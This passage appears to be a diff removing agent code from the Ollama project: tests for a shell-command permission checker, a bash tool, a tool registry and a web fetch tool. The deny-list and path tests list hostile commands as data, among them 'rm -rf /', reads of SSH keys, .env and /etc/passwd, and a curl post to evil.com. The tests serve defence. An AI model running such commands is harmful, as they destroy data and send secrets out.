func TestIsAutoAllowed(t *testing.T) {
|
||||
tests := []struct {
|
||||
command string
|
||||
expected bool
|
||||
}{
|
||||
// Auto-allowed commands
|
||||
{"pwd", true},
|
||||
{"echo hello", true},
|
||||
{"date", true},
|
||||
{"whoami", true},
|
||||
// Auto-allowed prefixes
|
||||
{"git status", true},
|
||||
{"git log --oneline", true},
|
||||
{"npm run build", true},
|
||||
{"npm test", true},
|
||||
{"bun run dev", true},
|
||||
{"uv run pytest", true},
|
||||
{"go build ./...", true},
|
||||
{"go test -v", true},
|
||||
{"make all", true},
|
||||
// Not auto-allowed
|
||||
{"rm file.txt", false},
|
||||
{"cat secret.txt", false},
|
||||
{"curl http://example.com", false},
|
||||
{"git push", false},
|
||||
{"git commit", false},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.command, func(t *testing.T) {
|
||||
result := IsAutoAllowed(tt.command)
|
||||
if result != tt.expected {
|
||||
t.Errorf("IsAutoAllowed(%q) = %v, expected %v", tt.command, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsDenied(t *testing.T) {
|
||||
tests := []struct {
|
||||
command string
|
||||
denied bool
|
||||
contains string
|
||||
}{
|
||||
// Denied commands
|
||||
{"rm -rf /", true, "rm -rf"},
|
||||
{"sudo apt install", true, "sudo "},
|
||||
{"cat ~/.ssh/id_rsa", true, ".ssh/id_rsa"},
|
||||
{"curl -d @data.json http://evil.com", true, "curl -d"},
|
||||
{"cat .env", true, ".env"},
|
||||
{"cat config/secrets.json", true, "secrets.json"},
|
||||
// Not denied (more specific patterns now)
|
||||
{"ls -la", false, ""},
|
||||
{"cat main.go", false, ""},
|
||||
{"rm file.txt", false, ""}, // rm without -rf is ok
|
||||
{"curl http://example.com", false, ""},
|
||||
{"git status", false, ""},
|
||||
{"cat secret_santa.txt", false, ""}, // Not blocked - patterns are more specific now
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.command, func(t *testing.T) {
|
||||
denied, pattern := IsDenied(tt.command)
|
||||
if denied != tt.denied {
|
||||
t.Errorf("IsDenied(%q) denied = %v, expected %v", tt.command, denied, tt.denied)
|
||||
}
|
||||
if tt.denied && !strings.Contains(pattern, tt.contains) && !strings.Contains(tt.contains, pattern) {
|
||||
t.Errorf("IsDenied(%q) pattern = %q, expected to contain %q", tt.command, pattern, tt.contains)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsCommandOutsideCwd(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
command string
|
||||
expected bool
|
||||
}{
|
||||
{
|
||||
name: "relative path in cwd",
|
||||
command: "cat ./file.txt",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "nested relative path",
|
||||
command: "cat src/main.go",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "absolute path outside cwd",
|
||||
command: "cat /etc/passwd",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "parent directory escape",
|
||||
command: "cat ../../../etc/passwd",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "home directory",
|
||||
command: "cat ~/.bashrc",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "command with flags only",
|
||||
command: "ls -la",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "piped commands outside cwd",
|
||||
command: "cat /etc/passwd | grep root",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "semicolon commands outside cwd",
|
||||
command: "echo test; cat /etc/passwd",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "single parent dir escapes cwd",
|
||||
command: "cat ../README.md",
|
||||
expected: true, // Parent directory is outside cwd
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isCommandOutsideCwd(tt.command)
|
||||
if result != tt.expected {
|
||||
t.Errorf("isCommandOutsideCwd(%q) = %v, expected %v",
|
||||
tt.command, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
@@ -1,27 +0,0 @@
|
||||
//go:build !windows
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"syscall"
|
||||
"time"
|
||||
)
|
||||
|
||||
// flushStdin drains any buffered input from stdin.
|
||||
// This prevents leftover input from previous operations from affecting the selector.
|
||||
func flushStdin(fd int) {
|
||||
if err := syscall.SetNonblock(fd, true); err != nil {
|
||||
return
|
||||
}
|
||||
defer syscall.SetNonblock(fd, false)
|
||||
|
||||
time.Sleep(5 * time.Millisecond)
|
||||
|
||||
buf := make([]byte, 256)
|
||||
for {
|
||||
n, err := syscall.Read(fd, buf)
|
||||
if n <= 0 || err != nil {
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -1,15 +0,0 @@
|
||||
//go:build windows
|
||||
|
||||
package agent
|
||||
|
||||
import (
|
||||
"os"
|
||||
|
||||
"golang.org/x/sys/windows"
|
||||
)
|
||||
|
||||
// flushStdin clears any buffered console input on Windows.
|
||||
func flushStdin(_ int) {
|
||||
handle := windows.Handle(os.Stdin.Fd())
|
||||
_ = windows.FlushConsoleInputBuffer(handle)
|
||||
}
|
||||
-1112
File diff suppressed because it is too large.
Load diff
@@ -1,190 +0,0 @@
|
||||
package cmd
|
||||
|
||||
import (
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestIsLocalModel(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
modelName string
|
||||
expected bool
|
||||
}{
|
||||
{
|
||||
name: "local model without suffix",
|
||||
modelName: "llama3.2",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "local model with version",
|
||||
modelName: "qwen2.5:7b",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "cloud model",
|
||||
modelName: "gpt-oss:latest-cloud",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "cloud model with :cloud suffix",
|
||||
modelName: "gpt-oss:cloud",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "cloud model with version",
|
||||
modelName: "gpt-oss:20b-cloud",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "cloud model with version and :cloud suffix",
|
||||
modelName: "gpt-oss:20b:cloud",
|
||||
expected: false,
|
||||
},
|
||||
{
|
||||
name: "empty model name",
|
||||
modelName: "",
|
||||
expected: true,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
result := isLocalModel(tt.modelName)
|
||||
if result != tt.expected {
|
||||
t.Errorf("isLocalModel(%q) = %v, expected %v", tt.modelName, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestIsLocalServer(t *testing.T) {
|
||||
tests := []struct {
|
||||
name string
|
||||
host string
|
||||
expected bool
|
||||
}{
|
||||
{
|
||||
name: "empty host (default)",
|
||||
host: "",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "localhost",
|
||||
host: "http://localhost:11434",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "127.0.0.1",
|
||||
host: "http://127.0.0.1:11434",
|
||||
expected: true,
|
||||
},
|
||||
{
|
||||
name: "custom port on localhost",
|
||||
host: "http://localhost:8080",
|
||||
expected: true, // localhost is always considered local
|
||||
},
|
||||
{
|
||||
name: "remote host",
|
||||
host: "http://ollama.example.com:11434",
|
||||
expected: true, // has :11434
|
||||
},
|
||||
{
|
||||
name: "remote host different port",
|
||||
host: "http://ollama.example.com:8080",
|
||||
expected: false,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", tt.host)
|
||||
result := isLocalServer()
|
||||
if result != tt.expected {
|
||||
t.Errorf("isLocalServer() with OLLAMA_HOST=%q = %v, expected %v", tt.host, result, tt.expected)
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
|
||||
func TestTruncateToolOutput(t *testing.T) {
|
||||
// Create outputs of different sizes
|
||||
localLimitOutput := make([]byte, 20000) // > 4k tokens (16k chars)
|
||||
defaultLimitOutput := make([]byte, 50000) // > 10k tokens (40k chars)
|
||||
for i := range localLimitOutput {
|
||||
localLimitOutput[i] = 'a'
|
||||
}
|
||||
for i := range defaultLimitOutput {
|
||||
defaultLimitOutput[i] = 'b'
|
||||
}
|
||||
|
||||
tests := []struct {
|
||||
name string
|
||||
output string
|
||||
modelName string
|
||||
host string
|
||||
shouldTrim bool
|
||||
expectedLimit int
|
||||
}{
|
||||
{
|
||||
name: "short output local model",
|
||||
output: "hello world",
|
||||
modelName: "llama3.2",
|
||||
host: "",
|
||||
shouldTrim: false,
|
||||
expectedLimit: localModelTokenLimit,
|
||||
},
|
||||
{
|
||||
name: "long output local model - trimmed at 4k",
|
||||
output: string(localLimitOutput),
|
||||
modelName: "llama3.2",
|
||||
host: "",
|
||||
shouldTrim: true,
|
||||
expectedLimit: localModelTokenLimit,
|
||||
},
|
||||
{
|
||||
name: "long output cloud model - uses 10k limit",
|
||||
output: string(localLimitOutput), // 20k chars, under 10k token limit
|
||||
modelName: "gpt-oss:latest-cloud",
|
||||
host: "",
|
||||
shouldTrim: false,
|
||||
expectedLimit: defaultTokenLimit,
|
||||
},
|
||||
{
|
||||
name: "very long output cloud model - trimmed at 10k",
|
||||
output: string(defaultLimitOutput),
|
||||
modelName: "gpt-oss:latest-cloud",
|
||||
host: "",
|
||||
shouldTrim: true,
|
||||
expectedLimit: defaultTokenLimit,
|
||||
},
|
||||
{
|
||||
name: "long output remote server - uses 10k limit",
|
||||
output: string(localLimitOutput),
|
||||
modelName: "llama3.2",
|
||||
host: "http://remote.example.com:8080",
|
||||
shouldTrim: false,
|
||||
expectedLimit: defaultTokenLimit,
|
||||
},
|
||||
}
|
||||
|
||||
for _, tt := range tests {
|
||||
t.Run(tt.name, func(t *testing.T) {
|
||||
t.Setenv("OLLAMA_HOST", tt.host)
|
||||
result := truncateToolOutput(tt.output, tt.modelName)
|
||||
|
||||
if tt.shouldTrim {
|
||||
maxLen := tt.expectedLimit * charsPerToken
|
||||
if len(result) > maxLen+50 { // +50 for the truncation message
|
||||
t.Errorf("expected output to be truncated to ~%d chars, got %d", maxLen, len(result))
|
||||
}
|
||||
if result == tt.output {
|
||||
t.Error("expected output to be truncated but it wasn't")
|
||||
}
|
||||
} else {
|
||||
if result != tt.output {
|
||||
t.Error("expected output to not be truncated")
|
||||
}
|
||||
}
|
||||
})
|
||||
}
|
||||
}
|
||||
-114
@@ -1,114 +0,0 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
const (
|
||||
// bashTimeout is the maximum execution time for a command.
|
||||
bashTimeout = 60 * time.Second
|
||||
// maxOutputSize is the maximum output size in bytes.
|
||||
maxOutputSize = 50000
|
||||
)
|
||||
|
||||
// BashTool implements shell command execution.
|
||||
type BashTool struct{}
|
||||
|
||||
// Name returns the tool name.
|
||||
func (b *BashTool) Name() string {
|
||||
return "bash"
|
||||
}
|
||||
|
||||
// Description returns a description of the tool.
|
||||
func (b *BashTool) Description() string {
|
||||
return "Execute a bash command on the system. Use this to run shell commands, check files, run programs, etc."
|
||||
}
|
||||
|
||||
// Schema returns the tool's parameter schema.
|
||||
func (b *BashTool) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("command", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The bash command to execute",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: b.Name(),
|
||||
Description: b.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"command"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// Execute runs the bash command.
|
||||
func (b *BashTool) Execute(args map[string]any) (string, error) {
|
||||
command, ok := args["command"].(string)
|
||||
if !ok || command == "" {
|
||||
return "", fmt.Errorf("command parameter is required")
|
||||
}
|
||||
|
||||
// Create context with timeout
|
||||
ctx, cancel := context.WithTimeout(context.Background(), bashTimeout)
|
||||
defer cancel()
|
||||
|
||||
// Execute command
|
||||
cmd := exec.CommandContext(ctx, "bash", "-c", command)
|
||||
|
||||
var stdout, stderr bytes.Buffer
|
||||
cmd.Stdout = &stdout
|
||||
cmd.Stderr = &stderr
|
||||
|
||||
err := cmd.Run()
|
||||
|
||||
// Build output
|
||||
var sb strings.Builder
|
||||
|
||||
// Add stdout
|
||||
if stdout.Len() > 0 {
|
||||
output := stdout.String()
|
||||
if len(output) > maxOutputSize {
|
||||
output = output[:maxOutputSize] + "\n... (output truncated)"
|
||||
}
|
||||
sb.WriteString(output)
|
||||
}
|
||||
|
||||
// Add stderr if present
|
||||
if stderr.Len() > 0 {
|
||||
stderrOutput := stderr.String()
|
||||
if len(stderrOutput) > maxOutputSize {
|
||||
stderrOutput = stderrOutput[:maxOutputSize] + "\n... (stderr truncated)"
|
||||
}
|
||||
if sb.Len() > 0 {
|
||||
sb.WriteString("\n")
|
||||
}
|
||||
sb.WriteString("stderr:\n")
|
||||
sb.WriteString(stderrOutput)
|
||||
}
|
||||
|
||||
// Handle errors
|
||||
if err != nil {
|
||||
if ctx.Err() == context.DeadlineExceeded {
|
||||
return sb.String() + "\n\nError: command timed out after 60 seconds", nil
|
||||
}
|
||||
// Include exit code in output but don't return as error
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
return sb.String() + fmt.Sprintf("\n\nExit code: %d", exitErr.ExitCode()), nil
|
||||
}
|
||||
return sb.String(), fmt.Errorf("executing command: %w", err)
|
||||
}
|
||||
|
||||
if sb.Len() == 0 {
|
||||
return "(no output)", nil
|
||||
}
|
||||
|
||||
return sb.String(), nil
|
||||
}
|
||||
@@ -1,131 +0,0 @@
|
||||
// Package tools provides built-in tool implementations for the agent loop.
|
||||
package tools
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"sort"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
// Tool defines the interface for agent tools.
|
||||
type Tool interface {
|
||||
// Name returns the tool's unique identifier.
|
||||
Name() string
|
||||
// Description returns a human-readable description of what the tool does.
|
||||
Description() string
|
||||
// Schema returns the tool's parameter schema for the LLM.
|
||||
Schema() api.ToolFunction
|
||||
// Execute runs the tool with the given arguments.
|
||||
Execute(args map[string]any) (string, error)
|
||||
}
|
||||
|
||||
// Registry manages available tools.
|
||||
type Registry struct {
|
||||
tools map[string]Tool
|
||||
}
|
||||
|
||||
// NewRegistry creates a new tool registry.
|
||||
func NewRegistry() *Registry {
|
||||
return &Registry{
|
||||
tools: make(map[string]Tool),
|
||||
}
|
||||
}
|
||||
|
||||
// Register adds a tool to the registry.
|
||||
func (r *Registry) Register(tool Tool) {
|
||||
r.tools[tool.Name()] = tool
|
||||
}
|
||||
|
||||
// Unregister removes a tool from the registry by name.
|
||||
func (r *Registry) Unregister(name string) {
|
||||
delete(r.tools, name)
|
||||
}
|
||||
|
||||
// Has checks if a tool with the given name is registered.
|
||||
func (r *Registry) Has(name string) bool {
|
||||
_, ok := r.tools[name]
|
||||
return ok
|
||||
}
|
||||
|
||||
// RegisterBash adds the bash tool to the registry.
|
||||
func (r *Registry) RegisterBash() {
|
||||
r.Register(&BashTool{})
|
||||
}
|
||||
|
||||
// RegisterWebSearch adds the web search tool to the registry.
|
||||
func (r *Registry) RegisterWebSearch() {
|
||||
r.Register(&WebSearchTool{})
|
||||
}
|
||||
|
||||
// RegisterWebFetch adds the web fetch tool to the registry.
|
||||
func (r *Registry) RegisterWebFetch() {
|
||||
r.Register(&WebFetchTool{})
|
||||
}
|
||||
|
||||
// Get retrieves a tool by name.
|
||||
func (r *Registry) Get(name string) (Tool, bool) {
|
||||
tool, ok := r.tools[name]
|
||||
return tool, ok
|
||||
}
|
||||
|
||||
// Tools returns all registered tools in Ollama API format, sorted by name.
|
||||
func (r *Registry) Tools() api.Tools {
|
||||
// Get sorted names for deterministic ordering
|
||||
names := make([]string, 0, len(r.tools))
|
||||
for name := range r.tools {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
|
||||
var tools api.Tools
|
||||
for _, name := range names {
|
||||
tool := r.tools[name]
|
||||
tools = append(tools, api.Tool{
|
||||
Type: "function",
|
||||
Function: tool.Schema(),
|
||||
})
|
||||
}
|
||||
return tools
|
||||
}
|
||||
|
||||
// Execute runs a tool call and returns the result.
|
||||
func (r *Registry) Execute(call api.ToolCall) (string, error) {
|
||||
tool, ok := r.tools[call.Function.Name]
|
||||
if !ok {
|
||||
return "", fmt.Errorf("unknown tool: %s", call.Function.Name)
|
||||
}
|
||||
return tool.Execute(call.Function.Arguments.ToMap())
|
||||
}
|
||||
|
||||
// Names returns the names of all registered tools, sorted alphabetically.
|
||||
func (r *Registry) Names() []string {
|
||||
names := make([]string, 0, len(r.tools))
|
||||
for name := range r.tools {
|
||||
names = append(names, name)
|
||||
}
|
||||
sort.Strings(names)
|
||||
return names
|
||||
}
|
||||
|
||||
// Count returns the number of registered tools.
|
||||
func (r *Registry) Count() int {
|
||||
return len(r.tools)
|
||||
}
|
||||
|
||||
// DefaultRegistry creates a registry with all built-in tools.
|
||||
// Tools can be disabled via environment variables:
|
||||
// - OLLAMA_AGENT_DISABLE_WEBSEARCH=1 disables web_search
|
||||
// - OLLAMA_AGENT_DISABLE_BASH=1 disables bash
|
||||
func DefaultRegistry() *Registry {
|
||||
r := NewRegistry()
|
||||
// TODO(parthsareen): re-enable web search once it's ready for release
|
||||
// if os.Getenv("OLLAMA_AGENT_DISABLE_WEBSEARCH") == "" {
|
||||
// r.Register(&WebSearchTool{})
|
||||
// }
|
||||
if os.Getenv("OLLAMA_AGENT_DISABLE_BASH") == "" {
|
||||
r.Register(&BashTool{})
|
||||
}
|
||||
return r
|
||||
}
|
||||
@@ -1,223 +0,0 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
)
|
||||
|
||||
func TestRegistry_Register(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
|
||||
r.Register(&BashTool{})
|
||||
r.Register(&WebSearchTool{})
|
||||
|
||||
if r.Count() != 2 {
|
||||
t.Errorf("expected 2 tools, got %d", r.Count())
|
||||
}
|
||||
|
||||
names := r.Names()
|
||||
if len(names) != 2 {
|
||||
t.Errorf("expected 2 names, got %d", len(names))
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistry_Get(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
r.Register(&BashTool{})
|
||||
|
||||
tool, ok := r.Get("bash")
|
||||
if !ok {
|
||||
t.Fatal("expected to find bash tool")
|
||||
}
|
||||
|
||||
if tool.Name() != "bash" {
|
||||
t.Errorf("expected name 'bash', got '%s'", tool.Name())
|
||||
}
|
||||
|
||||
_, ok = r.Get("nonexistent")
|
||||
if ok {
|
||||
t.Error("expected not to find nonexistent tool")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistry_Tools(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
r.Register(&BashTool{})
|
||||
r.Register(&WebSearchTool{})
|
||||
|
||||
tools := r.Tools()
|
||||
if len(tools) != 2 {
|
||||
t.Errorf("expected 2 tools, got %d", len(tools))
|
||||
}
|
||||
|
||||
for _, tool := range tools {
|
||||
if tool.Type != "function" {
|
||||
t.Errorf("expected type 'function', got '%s'", tool.Type)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistry_Execute(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
r.Register(&BashTool{})
|
||||
|
||||
// Test successful execution
|
||||
args := api.NewToolCallFunctionArguments()
|
||||
args.Set("command", "echo hello")
|
||||
result, err := r.Execute(api.ToolCall{
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "bash",
|
||||
Arguments: args,
|
||||
},
|
||||
})
|
||||
if err != nil {
|
||||
t.Fatalf("unexpected error: %v", err)
|
||||
}
|
||||
if result != "hello\n" {
|
||||
t.Errorf("expected 'hello\\n', got '%s'", result)
|
||||
}
|
||||
|
||||
// Test unknown tool
|
||||
_, err = r.Execute(api.ToolCall{
|
||||
Function: api.ToolCallFunction{
|
||||
Name: "unknown",
|
||||
Arguments: api.NewToolCallFunctionArguments(),
|
||||
},
|
||||
})
|
||||
if err == nil {
|
||||
t.Error("expected error for unknown tool")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultRegistry(t *testing.T) {
|
||||
r := DefaultRegistry()
|
||||
|
||||
if r.Count() != 1 {
|
||||
t.Errorf("expected 1 tool in default registry, got %d", r.Count())
|
||||
}
|
||||
|
||||
_, ok := r.Get("bash")
|
||||
if !ok {
|
||||
t.Error("expected bash tool in default registry")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultRegistry_DisableWebsearch(t *testing.T) {
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1")
|
||||
|
||||
r := DefaultRegistry()
|
||||
|
||||
if r.Count() != 1 {
|
||||
t.Errorf("expected 1 tool with websearch disabled, got %d", r.Count())
|
||||
}
|
||||
|
||||
_, ok := r.Get("bash")
|
||||
if !ok {
|
||||
t.Error("expected bash tool in registry")
|
||||
}
|
||||
|
||||
_, ok = r.Get("web_search")
|
||||
if ok {
|
||||
t.Error("expected web_search to be disabled")
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultRegistry_DisableBash(t *testing.T) {
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1")
|
||||
|
||||
r := DefaultRegistry()
|
||||
|
||||
if r.Count() != 0 {
|
||||
t.Errorf("expected 0 tools with bash disabled, got %d", r.Count())
|
||||
}
|
||||
}
|
||||
|
||||
func TestDefaultRegistry_DisableBoth(t *testing.T) {
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_WEBSEARCH", "1")
|
||||
t.Setenv("OLLAMA_AGENT_DISABLE_BASH", "1")
|
||||
|
||||
r := DefaultRegistry()
|
||||
|
||||
if r.Count() != 0 {
|
||||
t.Errorf("expected 0 tools with both disabled, got %d", r.Count())
|
||||
}
|
||||
}
|
||||
|
||||
func TestBashTool_Schema(t *testing.T) {
|
||||
tool := &BashTool{}
|
||||
|
||||
schema := tool.Schema()
|
||||
if schema.Name != "bash" {
|
||||
t.Errorf("expected name 'bash', got '%s'", schema.Name)
|
||||
}
|
||||
|
||||
if schema.Parameters.Type != "object" {
|
||||
t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
|
||||
}
|
||||
|
||||
if _, ok := schema.Parameters.Properties.Get("command"); !ok {
|
||||
t.Error("expected 'command' property in schema")
|
||||
}
|
||||
}
|
||||
|
||||
func TestWebSearchTool_Schema(t *testing.T) {
|
||||
tool := &WebSearchTool{}
|
||||
|
||||
schema := tool.Schema()
|
||||
if schema.Name != "web_search" {
|
||||
t.Errorf("expected name 'web_search', got '%s'", schema.Name)
|
||||
}
|
||||
|
||||
if schema.Parameters.Type != "object" {
|
||||
t.Errorf("expected parameters type 'object', got '%s'", schema.Parameters.Type)
|
||||
}
|
||||
|
||||
if _, ok := schema.Parameters.Properties.Get("query"); !ok {
|
||||
t.Error("expected 'query' property in schema")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistry_Unregister(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
r.Register(&BashTool{})
|
||||
|
||||
if r.Count() != 1 {
|
||||
t.Errorf("expected 1 tool, got %d", r.Count())
|
||||
}
|
||||
|
||||
r.Unregister("bash")
|
||||
|
||||
if r.Count() != 0 {
|
||||
t.Errorf("expected 0 tools after unregister, got %d", r.Count())
|
||||
}
|
||||
|
||||
_, ok := r.Get("bash")
|
||||
if ok {
|
||||
t.Error("expected bash tool to be removed")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistry_Has(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
|
||||
if r.Has("bash") {
|
||||
t.Error("expected Has to return false for unregistered tool")
|
||||
}
|
||||
|
||||
r.Register(&BashTool{})
|
||||
|
||||
if !r.Has("bash") {
|
||||
t.Error("expected Has to return true for registered tool")
|
||||
}
|
||||
}
|
||||
|
||||
func TestRegistry_RegisterBash(t *testing.T) {
|
||||
r := NewRegistry()
|
||||
|
||||
r.RegisterBash()
|
||||
|
||||
if !r.Has("bash") {
|
||||
t.Error("expected bash tool to be registered")
|
||||
}
|
||||
}
|
||||
@@ -1,167 +0,0 @@
|
||||
package tools
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
"io"
|
||||
"net/http"
|
||||
"net/url"
|
||||
"strconv"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/ollama/ollama/api"
|
||||
"github.com/ollama/ollama/auth"
|
||||
internalcloud "github.com/ollama/ollama/internal/cloud"
|
||||
)
|
||||
|
||||
const (
|
||||
webFetchAPI = "https://ollama.com/api/web_fetch"
|
||||
webFetchTimeout = 30 * time.Second
|
||||
)
|
||||
|
||||
// ErrWebFetchAuthRequired is returned when web fetch requires authentication
|
||||
var ErrWebFetchAuthRequired = errors.New("web fetch requires authentication")
|
||||
|
||||
// WebFetchTool implements web page fetching using Ollama's hosted API.
|
||||
type WebFetchTool struct{}
|
||||
|
||||
// Name returns the tool name.
|
||||
func (w *WebFetchTool) Name() string {
|
||||
return "web_fetch"
|
||||
}
|
||||
|
||||
// Description returns a description of the tool.
|
||||
func (w *WebFetchTool) Description() string {
|
||||
return "Fetch and extract text content from a web page. Use this to read the full content of a URL found in search results or provided by the user."
|
||||
}
|
||||
|
||||
// Schema returns the tool's parameter schema.
|
||||
func (w *WebFetchTool) Schema() api.ToolFunction {
|
||||
props := api.NewToolPropertiesMap()
|
||||
props.Set("url", api.ToolProperty{
|
||||
Type: api.PropertyType{"string"},
|
||||
Description: "The URL to fetch and extract content from",
|
||||
})
|
||||
return api.ToolFunction{
|
||||
Name: w.Name(),
|
||||
Description: w.Description(),
|
||||
Parameters: api.ToolFunctionParameters{
|
||||
Type: "object",
|
||||
Properties: props,
|
||||
Required: []string{"url"},
|
||||
},
|
||||
}
|
||||
}
|
||||
|
||||
// webFetchRequest is the request body for the web fetch API.
|
||||
type webFetchRequest struct {
|
||||
URL string `json:"url"`
|
||||
}
|
||||
|
||||
// webFetchResponse is the response from the web fetch API.
|
||||
type webFetchResponse struct {
|
||||
Title string `json:"title"`
|
||||
Content string `json:"content"`
|
||||
Links []string `json:"links,omitempty"`
|
||||
}
|
||||
|
||||
// Execute fetches content from a web page.
|
||||
// Uses Ollama key signing for authentication - this makes requests via ollama.com API.
|
||||
func (w *WebFetchTool) Execute(args map[string]any) (string, error) {
|
||||
if internalcloud.Disabled() {
|
||||
return "", errors.New(internalcloud.DisabledError("web fetch is unavailable"))
|
||||
}
|
||||
|
||||
urlStr, ok := args["url"].(string)
|
||||
if !ok || urlStr == "" {
|
||||
return "", fmt.Errorf("url parameter is required")
|
||||
}
|
||||
|
||||
// Validate URL
|
||||
if _, err := url.Parse(urlStr); err != nil {
|
||||
return "", fmt.Errorf("invalid URL: %w", err)
|
||||
}
|
||||
|
||||
// Prepare request
|
||||
reqBody := webFetchRequest{
|
||||
URL: urlStr,
|
||||
}
|
||||
|
||||
jsonBody, err := json.Marshal(reqBody)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("marshaling request: %w", err)
|
||||
}
|
||||
|
||||
// Parse URL and add timestamp for signing
|
||||
fetchURL, err := url.Parse(webFetchAPI)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("parsing fetch URL: %w", err)
|
||||
}
|
||||
|
||||
q := fetchURL.Query()
|
||||
q.Add("ts", strconv.FormatInt(time.Now().Unix(), 10))
|
||||
fetchURL.RawQuery = q.Encode()
|
||||
|
||||
// Sign the request using Ollama key (~/.ollama/id_ed25519)
|
||||
ctx := context.Background()
|
||||
data := fmt.Appendf(nil, "%s,%s", http.MethodPost, fetchURL.RequestURI())
|
||||
signature, err := auth.Sign(ctx, data)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("signing request: %w", err)
|
||||
}
|
||||
|
||||
req, err := http.NewRequestWithContext(ctx, http.MethodPost, fetchURL.String(), bytes.NewBuffer(jsonBody))
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("creating request: %w", err)
|
||||
}
|
||||
|
||||
req.Header.Set("Content-Type", "application/json")
|
||||
if signature != "" {
|
||||
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", signature))
|
||||
}
|
||||
|
||||
// Send request
|
||||
client := &http.Client{Timeout: webFetchTimeout}
|
||||
resp, err := client.Do(req)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("sending request: %w", err)
|
||||
}
|
||||
defer resp.Body.Close()
|
||||
|
||||
body, err := io.ReadAll(resp.Body)
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("reading response: %w", err)
|
||||
}
|
||||
|
||||
if resp.StatusCode == http.StatusUnauthorized {
|
||||
return "", ErrWebFetchAuthRequired
|
||||
}
|
||||
if resp.StatusCode != http.StatusOK {
|
||||
return "", fmt.Errorf("web fetch API returned status %d: %s", resp.StatusCode, string(body))
|
||||
}
|
||||
|
||||
// Parse response
|
||||
var fetchResp webFetchResponse
|
||||
if err := json.Unmarshal(body, &fetchResp); err != nil {
|
||||
